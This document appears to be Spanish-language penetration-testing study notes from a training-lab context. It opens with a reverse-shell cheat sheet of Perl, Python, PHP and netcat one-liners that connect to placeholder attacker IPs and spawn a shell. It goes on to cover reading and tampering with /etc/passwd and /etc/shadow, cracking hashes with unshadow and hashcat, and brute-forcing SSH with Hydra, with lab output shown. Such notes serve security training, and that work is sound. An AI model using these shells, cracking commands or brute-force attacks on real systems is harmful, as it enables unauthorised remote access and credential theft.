perl -e 'use Socket;$i="10.10.x.x";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.x.x:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.10.x.x",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat

nc -e /bin/sh 10.10.x.x 443

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 443 >/tmp/f

Passwd, Shadow & Opasswd

En las distros Linux se pueden usar varios mecanismos de autenticación, pero uno de los más comunes y estándar es PAM (Pluggable Authentication Modules).

Los módulos principales se llaman pam_unix.so o pam_unix2.so, y en sistemas basados en Debian se encuentran en:

/usr/lib/x86_64-linux-gnu/security/

Estos módulos se encargan de manejar todo lo relacionado con los usuarios: autenticación, sesiones, contraseñas actuales y antiguas.

Por ejemplo, cuando usamos el comando passwd para cambiar la contraseña, PAM se activa, toma medidas de seguridad y gestiona todo el proceso como debe ser.

El módulo pam_unix.so usa llamadas estándar a las librerías del sistema para actualizar la info de la cuenta. Los archivos que maneja directamente son:

/etc/passwd
/etc/shadow

Además, PAM puede usar otros módulos según lo necesitemos, como para autenticación con LDAP, Kerberos, o incluso para montar recursos.

Passwd File

El archivo /etc/passwd guarda información sobre todos los usuarios del sistema y puede ser leído por cualquier usuario o servicio.

Cada línea del archivo representa un usuario y está formada por siete campos, separados por dos puntos (:), que actúan como una especie de base de datos simple.

Un ejemplo de cómo se ve una entrada típica sería algo así:

Passwd Format

gzzcoo:x:1001:1001:Gzzcoo:/home/gzzcoo:/bin/bash

Nombre de usuario → gzzcoo
Contraseña (x) → Un x significa que la contraseña está en /etc/shadow
UID → Identificador del usuario, por ejemplo 1001
GID → ID del grupo principal del usuario
Comentario o nombre completo → Gzzcoo
Directorio home → /home/gzzcoo
Shell por defecto → /bin/bash

El campo más interesante para nosotros en el archivo /etc/passwd es el de la contraseña, porque puede tener diferentes valores.

En sistemas muy antiguos, es raro pero posible encontrar ahí directamente el hash de la contraseña. Si eso pasa, como el archivo es legible por todo el sistema, un atacante podría copiar ese hash y crackearlo fácilmente.

En sistemas modernos, lo normal es que ese campo tenga una x, lo que significa que el hash real está en /etc/shadow, un archivo mucho más protegido.

Ahora bien, si por error el archivo /etc/passwd es escribible, podríamos vaciar el campo de contraseña del usuario root, dejándolo así:

ANTES

root:x:0:0:root:/root:/bin/bash

DESPUÉS

root:0:0:0:root:/root:/bin/bash

Root without Password

[cry0l1t3@parrot]─[~]$ head -n 1 /etc/passwd

root::0:0:root:/root:/bin/bash


[cry0l1t3@parrot]─[~]$ su

[root@parrot]─[/home/cry0l1t3]#

Aunque estos casos no sean tan comunes, igual hay que estar atentos porque pueden aparecer fallos de seguridad por permisos mal puestos. Hay aplicaciones que piden permisos específicos sobre carpetas enteras, y si el admin no tiene mucha experiencia con Linux o con la app, puede terminar dando permiso de escritura al directorio /etc, y olvidarse de corregirlo después.

Eso abre la puerta a que un atacante modifique archivos críticos como /etc/passwd, /etc/shadow o incluso servicios.

Shadow File

Como leer los hashes de contraseñas puede comprometer todo el sistema, se creó el archivo /etc/shadow, que tiene un formato similar al /etc/passwd, pero solo guarda la info de contraseñas y su gestión.

Este archivo contiene los hashes de todas las contraseñas de los usuarios. Si un usuario aparece en /etc/passwd pero no tiene entrada en /etc/shadow, se considera inválido.

Además, solo puede ser leído por usuarios con permisos de administrador.

Shadow Format

cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::

Nombre de usuario → cry0l1t3
Contraseña cifrada (hash) → empieza con $6$ (sha512)
Fecha del último cambio de contraseña (en días desde 1970)
Edad mínima de la contraseña (días para poder cambiarla)
Edad máxima de la contraseña (días antes de caducar)
Periodo de aviso (días antes de caducar que se avisa al user)
Periodo de inactividad (días después de caducar sin login)
Fecha de expiración de la cuenta
Campo no usado (vacío)

Shadow File

[cry0l1t3@parrot]─[~]$ sudo cat /etc/shadow

root:*:18747:0:99999:7:::
sys:!:18747:0:99999:7:::
...SNIP...
cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::

En el campo de contraseña del archivo /etc/shadow, si vemos un carácter como ! o *, significa que el usuario no puede iniciar sesión con contraseña Unix. Pero sí puede autenticarse con otros métodos como Kerberos o claves SSH.

Si el campo está vacío, no se pedirá contraseña para hacer login, aunque eso puede hacer que ciertos programas le bloqueen funciones.

Los hashes tienen esta estructura:

$<type>$<salt>$<hash>

Con esto, podemos identificar el algoritmo usado:

Tipo

Algoritmo

$1$

MD5

$2a$

Blowfish

$2y$

Eksblowfish

$5$

SHA-256

$6$

SHA-512

En las distros modernas de Linux se usa por defecto SHA-512 ( $6$ ).

En sistemas antiguos aún podemos encontrarnos con MD5, Blowfish, o SHA-256, y ahí es donde es más fácil poder crackear.

Opasswd

El módulo pam_unix.so de la biblioteca PAM permite restringir la reutilización de contraseñas anteriores. Para ello, almacena los hashes de contraseñas previamente utilizadas en el archivo:

/etc/security/opasswd

Este archivo es accesible únicamente por el usuario root, a menos que se hayan modificado sus permisos manualmente.

Reading /etc/security/opasswd

gzzcoo@htb[/htb]$ sudo cat /etc/security/opasswd

cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1

Al observar el contenido de este archivo, podemos ver que contiene varias entradas para el usuario cry0l1t3, separadas por comas (,). Otro aspecto crítico a tener en cuenta es el tipo de algoritmo de hash utilizado. En este caso, el algoritmo MD5 ( $1$ ) es considerablemente más fácil de romper que SHA-512.

Esto es especialmente relevante para identificar contraseñas antiguas e incluso posibles patrones, ya que es común que las contraseñas se reutilicen en distintos servicios o aplicaciones. Detectar estos patrones aumenta significativamente la probabilidad de adivinar la contraseña actual.

Cracking Linux Credentials

Una vez que hayamos recopilado algunos hashes, podemos intentar descifrarlos de diferentes maneras para obtener las contraseñas en texto sin cifrar.

Unshadow

gzzcoo@htb[/htb]$ sudo cp /etc/passwd /tmp/passwd.bak 
gzzcoo@htb[/htb]$ sudo cp /etc/shadow /tmp/shadow.bak 
gzzcoo@htb[/htb]$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Hashcat - Cracking Unshadowed Hashes

gzzcoo@htb[/htb]$ hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

Hashcat - Cracking MD5 Hashes

gzzcoo@htb[/htb]$ cat md5-hashes.list

qNDkF0zJ3v8ylCOrKB0kt0
E9uMSmiQeRh4pAAgzuvkq1

gzzcoo@htb[/htb]$ hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

NETWORK SERVICES PENTESTING

SSH Port (22)

Introduction

SSH (Secure Shell o Secure Socket Shell) es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.

Puerto por defecto

22/tcp open  ssh     syn-ack

Authentication

Autenticación con credenciales

ssh user1@10.10.10.10

sshpass -p 'Password01!' ssh user1@10.10.10.10

Autenticación con clave privada

ssh -i id_rsa root@10.10.10.10

Brute Force with Hydra

gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ssh://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found